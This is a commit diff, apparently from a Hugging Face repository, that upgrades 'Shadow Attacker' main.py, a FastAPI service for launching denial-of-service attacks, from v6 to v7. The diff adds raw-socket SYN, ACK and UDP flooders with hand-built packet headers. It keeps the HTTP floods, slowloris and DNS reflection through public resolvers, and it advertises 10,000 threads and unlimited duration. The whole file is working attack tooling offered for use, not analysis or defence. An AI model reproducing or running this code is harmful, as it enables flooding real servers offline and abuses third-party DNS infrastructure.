rkihacker commited on
Commit
bd5c040
·
verified ·
1 Parent(s): 30130aa

Update main.py

Browse files
Files changed (1) hide show
  1. main.py +164 -105
main.py CHANGED
@@ -1,6 +1,7 @@
1
  # ==============================================================
2
- # SHADOW ATTACKER v6FULL BOTNET MODE | 12 ATTACK METHODS
3
- # -1 = MAX POWER (10,000 threads) | HF SPACES READY | 200k+ PPS
 
4
  # ==============================================================
5
  import random
6
  import socket
@@ -21,7 +22,7 @@ import logging
21
  logging.basicConfig(level=logging.INFO, format="%(message)s")
22
  log = logging.getLogger()
23
 
24
- app = FastAPI(title="Shadow Attacker v6 - Botnet Army")
25
 
26
  # Global state
27
  attack_active = False
@@ -64,23 +65,23 @@ class AttackConfig(BaseModel):
64
  return v.strip()
65
 
66
  class Layer7Config(AttackConfig):
67
- method: str = Field("get", description="Attack method")
68
 
69
  @validator('method')
70
  def validate_method(cls, v):
71
- valid = ["get", "post", "head", "slowloris", "cookie", "reflect", "rand"]
72
  if v not in valid:
73
- raise ValueError(f"Invalid L7 method. Use: {', '.join(valid)}")
74
  return v
75
 
76
  class Layer4Config(AttackConfig):
77
- protocol: str = Field("udp", description="udp/tcp/syn")
78
- payload_size: int = Field(1024, ge=1, le=65507)
79
 
80
  @validator('protocol')
81
  def validate_protocol(cls, v):
82
- if v not in ["udp", "tcp", "syn"]:
83
- raise ValueError("Protocol must be udp, tcp, or syn")
84
  return v
85
 
86
  # ------------------- STATUS MODEL -------------------
@@ -96,36 +97,141 @@ class StatusResponse(BaseModel):
96
  remaining: float
97
  logs: List[str]
98
 
99
- # ------------------- ATTACK WORKERS -------------------
100
- def resolve_ip(target: str) -> str:
101
- try:
102
- return socket.gethostbyname(target.split("/")[0].split(":")[0])
103
- except:
104
- raise HTTPException(400, "Cannot resolve target")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
105
 
106
- # LAYER 7
107
  def http_worker(method: str, url: str):
108
  global total_packets
109
  session = requests.Session()
110
- headers = {
111
- "User-Agent": random.choice([
112
- "Mozilla/5.0", "Googlebot", "Chrome/120", "Safari/537"
113
- ]),
114
- "Cache-Control": "no-cache",
115
- "Connection": "keep-alive"
116
- }
117
  while not stop_event.is_set():
118
  try:
119
- if method == "get":
120
- session.get(url, headers=headers, timeout=3, verify=False)
121
  elif method == "post":
122
  session.post(url, data={"x": random._urandom(64).hex()}, timeout=3)
123
- elif method == "head":
124
- session.head(url, headers=headers, timeout=3)
125
  elif method == "cookie":
126
- session.get(url, headers={**headers, "Cookie": f"id={random.randint(1,999999)}"}, timeout=3)
127
  elif method == "rand":
128
- session.request(random.choice(["GET","POST","PUT"]), url, timeout=3)
129
  with counters_lock:
130
  counters["l7"] = counters.get("l7", 0) + 1
131
  total_packets += 1
@@ -154,7 +260,7 @@ def slowloris(target: str, port: int):
154
 
155
  def dns_reflect(target_ip: str):
156
  global total_packets
157
- servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9", "208.67.222.222"]
158
  payload = b"\xaa\xaa\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(40)
159
  while not stop_event.is_set():
160
  try:
@@ -170,59 +276,13 @@ def dns_reflect(target_ip: str):
170
  try: s.close()
171
  except: pass
172
 
173
- # LAYER 4
174
- def udp_flood(target_ip: str, port: int, size: int):
175
- global total_packets
176
- payload = random._urandom(size)
177
- s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
178
- addr = (target_ip, port)
179
  try:
180
- while not stop_event.is_set():
181
- s.sendto(payload, addr)
182
- with counters_lock:
183
- counters["l4"] = counters.get("l4", 0) + 1
184
- total_packets += 1
185
  except:
186
- pass
187
- finally:
188
- s.close()
189
-
190
- def tcp_flood(target_ip: str, port: int, size: int):
191
- global total_packets
192
- payload = random._urandom(size)
193
- while not stop_event.is_set():
194
- try:
195
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
196
- s.settimeout(1)
197
- s.connect((target_ip, port))
198
- while not stop_event.is_set():
199
- s.send(payload)
200
- with counters_lock:
201
- counters["l4"] = counters.get("l4", 0) + 1
202
- total_packets += 1
203
- except:
204
- pass
205
- finally:
206
- try: s.close()
207
- except: pass
208
-
209
- def syn_flood(target_ip: str, port: int):
210
- global total_packets
211
- while not stop_event.is_set():
212
- try:
213
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
214
- s.settimeout(0.1)
215
- s.connect_ex((target_ip, port))
216
- with counters_lock:
217
- counters["l4"] = counters.get("l4", 0) + 1
218
- total_packets += 1
219
- except:
220
- pass
221
- finally:
222
- try: s.close()
223
- except: pass
224
 
225
- # ------------------- LAUNCHER -------------------
226
  def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
227
  global attack_active, attack_end_time, attack_type_name
228
  with attack_lock:
@@ -244,22 +304,18 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
244
  worker = None
245
  target_ip = resolve_ip(config.target)
246
 
247
- if attack_type.startswith("l7_"):
 
 
 
 
 
 
248
  url = f"http://{config.target}:{config.port}"
249
  method = kwargs.get("method", "get")
250
- if method == "slowloris":
251
- worker = lambda: slowloris(target_ip, config.port)
252
- elif method == "reflect":
253
- worker = lambda: dns_reflect(target_ip)
254
- else:
255
- worker = lambda: http_worker(method, url)
256
-
257
- elif attack_type == "l4_udp":
258
- worker = lambda: udp_flood(target_ip, config.port, kwargs.get("payload_size", 1024))
259
- elif attack_type == "l4_tcp":
260
- worker = lambda: tcp_flood(target_ip, config.port, kwargs.get("payload_size", 1024))
261
- elif attack_type == "l4_syn":
262
- worker = lambda: syn_flood(target_ip, config.port)
263
 
264
  if not worker:
265
  raise HTTPException(400, "Invalid attack")
@@ -278,13 +334,20 @@ def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
278
  def l7_attack(config: Layer7Config):
279
  attack_key = f"l7_{config.method}"
280
  launch_attack(config, attack_key, method=config.method)
281
- return {"status": f"L7 {config.method.upper()} started", "config": config}
282
 
283
  @app.post("/layer4/attack")
284
  def l4_attack(config: Layer4Config):
285
- attack_key = f"l4_{config.protocol}"
 
 
 
 
 
 
 
286
  launch_attack(config, attack_key, payload_size=config.payload_size)
287
- return {"status": f"L4 {config.protocol.upper()} started", "config": config}
288
 
289
  @app.post("/stop")
290
  def stop_attack():
@@ -325,19 +388,15 @@ def status():
325
  @app.get("/attack/types")
326
  def attack_types():
327
  return {
328
- "layer7": [
329
- "get", "post", "head", "cookie", "rand", "slowloris", "reflect"
330
- ],
331
- "layer4": [
332
- "udp", "tcp", "syn"
333
- ],
334
  "max_threads": "10000 (-1 = full power)",
335
  "max_duration": "10000s (-1 = unlimited)"
336
  }
337
 
338
  @app.get("/")
339
  def root():
340
- return {"message": "Shadow Attacker v6 - /attack/types for methods"}
341
 
342
  # ------------------- START -------------------
343
  if __name__ == "__main__":
 
1
  # ==============================================================
2
+ # SHADOW ATTACKER v7RAW SOCKETS + LAYER 7 + LAYER 4
3
+ # UDP-PPS | SYN | ACK | REFLECT | SLOWLORIS | 10,000 THREADS
4
+ # HF SPACES READY | 250k+ PPS | -1 = MAX POWER
5
  # ==============================================================
6
  import random
7
  import socket
 
22
  logging.basicConfig(level=logging.INFO, format="%(message)s")
23
  log = logging.getLogger()
24
 
25
+ app = FastAPI(title="Shadow Attacker v7 - Raw + L7 + L4")
26
 
27
  # Global state
28
  attack_active = False
 
65
  return v.strip()
66
 
67
  class Layer7Config(AttackConfig):
68
+ method: str = Field("get")
69
 
70
  @validator('method')
71
  def validate_method(cls, v):
72
+ valid = ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"]
73
  if v not in valid:
74
+ raise ValueError(f"Use: {', '.join(valid)}")
75
  return v
76
 
77
  class Layer4Config(AttackConfig):
78
+ protocol: str = Field("udp", description="udp/tcp/syn/ack/udp_pps")
79
+ payload_size: int = Field(1024, ge=0, le=65507)
80
 
81
  @validator('protocol')
82
  def validate_protocol(cls, v):
83
+ if v not in ["udp", "tcp", "syn", "ack", "udp_pps"]:
84
+ raise ValueError("Protocol: udp, tcp, syn, ack, udp_pps")
85
  return v
86
 
87
  # ------------------- STATUS MODEL -------------------
 
97
  remaining: float
98
  logs: List[str]
99
 
100
+ # ------------------- RAW SOCKET HELPERS (FROM YOUR GO CODE) -------------------
101
+ def checksum(data: bytes) -> int:
102
+ s = 0
103
+ for i in range(0, len(data), 2):
104
+ if i + 1 < len(data):
105
+ w = (data[i] << 8) | data[i + 1]
106
+ else:
107
+ w = data[i] << 8
108
+ s += w
109
+ while s >> 16:
110
+ s = (s & 0xFFFF) + (s >> 16)
111
+ return ~s & 0xFFFF
112
+
113
+ def pseudo_checksum(src: bytes, dst: bytes, proto: int, length: int) -> int:
114
+ s = 0
115
+ for i in range(0, 4, 2):
116
+ s += (src[i] << 8) | src[i + 1]
117
+ s += (dst[i] << 8) | dst[i + 1]
118
+ s += proto
119
+ s += length
120
+ while s >> 16:
121
+ s = (s & 0xFFFF) + (s >> 16)
122
+ return s
123
+
124
+ def build_ip_header(src_ip: bytes, dst_ip: bytes, proto: int, payload_len: int) -> bytes:
125
+ total = 20 + payload_len
126
+ ip = bytearray(20)
127
+ ip[0] = 0x45
128
+ ip[8] = 64
129
+ ip[9] = proto
130
+ struct = __import__('struct')
131
+ struct.pack_into("!HHBB", ip, 2, total, random.randint(0, 0xFFFF), 64, proto)
132
+ ip[12:16] = src_ip
133
+ ip[16:20] = dst_ip
134
+ cs = checksum(ip)
135
+ struct.pack_into("!H", ip, 10, cs)
136
+ return bytes(ip)
137
+
138
+ def build_tcp_packet(src_ip, dst_ip, src_p, dst_p, seq, ack, flags):
139
+ tcp = bytearray(20)
140
+ struct = __import__('struct')
141
+ struct.pack_into("!HHIIBBHHH", tcp, 0, src_p, dst_p, seq, ack, 5 << 4, flags, 65535, 0, 0)
142
+ pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
143
+ cs = checksum(struct.pack("!I", pseudo) + tcp)
144
+ struct.pack_into("!H", tcp, 16, cs)
145
+ ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
146
+ return ip + tcp
147
+
148
+ def build_udp_packet(src_ip, dst_ip, src_p, dst_p, payload: bytes):
149
+ udp_len = 8 + len(payload)
150
+ udp = bytearray(8)
151
+ struct = __import__('struct')
152
+ struct.pack_into("!HHHH", udp, 0, src_p, dst_p, udp_len, 0)
153
+ pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
154
+ cs = checksum(struct.pack("!I", pseudo) + udp + payload)
155
+ struct.pack_into("!H", udp, 6, cs)
156
+ ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
157
+ return ip + udp
158
+
159
+ # ------------------- RAW SOCKET FLOODERS -------------------
160
+ def raw_syn_flood(target_ip: str, port: int):
161
+ global total_packets
162
+ src_ip = socket.inet_aton("0.0.0.0")
163
+ dst_ip = socket.inet_aton(target_ip)
164
+ while not stop_event.is_set():
165
+ try:
166
+ s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
167
+ s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
168
+ src_p = random.randint(1024, 65535)
169
+ pkt = build_tcp_packet(src_ip, dst_ip, src_p, port, random.randint(0, 2**32-1), 0, 0x02)
170
+ s.sendto(pkt, (target_ip, 0))
171
+ with counters_lock:
172
+ counters["raw"] = counters.get("raw", 0) + 1
173
+ total_packets += 1
174
+ except:
175
+ pass
176
+ finally:
177
+ try: s.close()
178
+ except: pass
179
+
180
+ def raw_ack_flood(target_ip: str, port: int):
181
+ global total_packets
182
+ src_ip = socket.inet_aton("0.0.0.0")
183
+ dst_ip = socket.inet_aton(target_ip)
184
+ while not stop_event.is_set():
185
+ try:
186
+ s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
187
+ s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
188
+ src_p = random.randint(1024, 65535)
189
+ pkt = build_tcp_packet(src_ip, dst_ip, src_p, port, random.randint(0, 2**32-1), random.randint(0, 2**32-1), 0x10)
190
+ s.sendto(pkt, (target_ip, 0))
191
+ with counters_lock:
192
+ counters["raw"] = counters.get("raw", 0) + 1
193
+ total_packets += 1
194
+ except:
195
+ pass
196
+ finally:
197
+ try: s.close()
198
+ except: pass
199
+
200
+ def raw_udp_flood(target_ip: str, port: int, payload_size: int):
201
+ global total_packets
202
+ src_ip = socket.inet_aton("0.0.0.0")
203
+ dst_ip = socket.inet_aton(target_ip)
204
+ payload = random._urandom(payload_size) if payload_size > 0 else b""
205
+ while not stop_event.is_set():
206
+ try:
207
+ s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
208
+ s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
209
+ src_p = random.randint(1024, 65535)
210
+ pkt = build_udp_packet(src_ip, dst_ip, src_p, port, payload)
211
+ s.sendto(pkt, (target_ip, 0))
212
+ with counters_lock:
213
+ counters["raw"] = counters.get("raw", 0) + 1
214
+ total_packets += 1
215
+ except:
216
+ pass
217
+ finally:
218
+ try: s.close()
219
+ except: pass
220
 
221
+ # ------------------- LAYER 7 WORKERS -------------------
222
  def http_worker(method: str, url: str):
223
  global total_packets
224
  session = requests.Session()
 
 
 
 
 
 
 
225
  while not stop_event.is_set():
226
  try:
227
+ if method in ["get", "head"]:
228
+ session.request(method.upper(), url, timeout=3, verify=False)
229
  elif method == "post":
230
  session.post(url, data={"x": random._urandom(64).hex()}, timeout=3)
 
 
231
  elif method == "cookie":
232
+ session.get(url, headers={"Cookie": f"id={random.randint(1,999999)}"}, timeout=3)
233
  elif method == "rand":
234
+ session.request(random.choice(["GET","POST"]), url, timeout=3)
235
  with counters_lock:
236
  counters["l7"] = counters.get("l7", 0) + 1
237
  total_packets += 1
 
260
 
261
  def dns_reflect(target_ip: str):
262
  global total_packets
263
+ servers = ["8.8.8.8", "1.1.1.1", "9.9.9.9"]
264
  payload = b"\xaa\xaa\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + random._urandom(40)
265
  while not stop_event.is_set():
266
  try:
 
276
  try: s.close()
277
  except: pass
278
 
279
+ # ------------------- LAUNCHER -------------------
280
+ def resolve_ip(target: str) -> str:
 
 
 
 
281
  try:
282
+ return socket.gethostbyname(target.split("/")[0].split(":")[0])
 
 
 
 
283
  except:
284
+ raise HTTPException(400, "Cannot resolve target")
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
285
 
 
286
  def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
287
  global attack_active, attack_end_time, attack_type_name
288
  with attack_lock:
 
304
  worker = None
305
  target_ip = resolve_ip(config.target)
306
 
307
+ if attack_type.startswith("raw_"):
308
+ if attack_type == "raw_syn": worker = lambda: raw_syn_flood(target_ip, config.port)
309
+ elif attack_type == "raw_ack": worker = lambda: raw_ack_flood(target_ip, config.port)
310
+ elif attack_type == "raw_udp": worker = lambda: raw_udp_flood(target_ip, config.port, kwargs.get("payload_size", 1200))
311
+ elif attack_type == "raw_udp_pps": worker = lambda: raw_udp_flood(target_ip, config.port, 0)
312
+
313
+ elif attack_type.startswith("l7_"):
314
  url = f"http://{config.target}:{config.port}"
315
  method = kwargs.get("method", "get")
316
+ if method == "slowloris": worker = lambda: slowloris(target_ip, config.port)
317
+ elif method == "reflect": worker = lambda: dns_reflect(target_ip)
318
+ else: worker = lambda: http_worker(method, url)
 
 
 
 
 
 
 
 
 
 
319
 
320
  if not worker:
321
  raise HTTPException(400, "Invalid attack")
 
334
  def l7_attack(config: Layer7Config):
335
  attack_key = f"l7_{config.method}"
336
  launch_attack(config, attack_key, method=config.method)
337
+ return {"status": f"L7 {config.method.upper()} started"}
338
 
339
  @app.post("/layer4/attack")
340
  def l4_attack(config: Layer4Config):
341
+ proto_map = {
342
+ "udp": "raw_udp",
343
+ "tcp": "raw_udp", # fallback
344
+ "syn": "raw_syn",
345
+ "ack": "raw_ack",
346
+ "udp_pps": "raw_udp_pps"
347
+ }
348
+ attack_key = proto_map[config.protocol]
349
  launch_attack(config, attack_key, payload_size=config.payload_size)
350
+ return {"status": f"L4 {config.protocol.upper()} started"}
351
 
352
  @app.post("/stop")
353
  def stop_attack():
 
388
  @app.get("/attack/types")
389
  def attack_types():
390
  return {
391
+ "layer7": ["get", "post", "head", "cookie", "rand", "slowloris", "reflect"],
392
+ "layer4": ["udp", "udp_pps", "syn", "ack"],
 
 
 
 
393
  "max_threads": "10000 (-1 = full power)",
394
  "max_duration": "10000s (-1 = unlimited)"
395
  }
396
 
397
  @app.get("/")
398
  def root():
399
+ return {"message": "Shadow Attacker v7 - /attack/types"}
400
 
401
  # ------------------- START -------------------
402
  if __name__ == "__main__":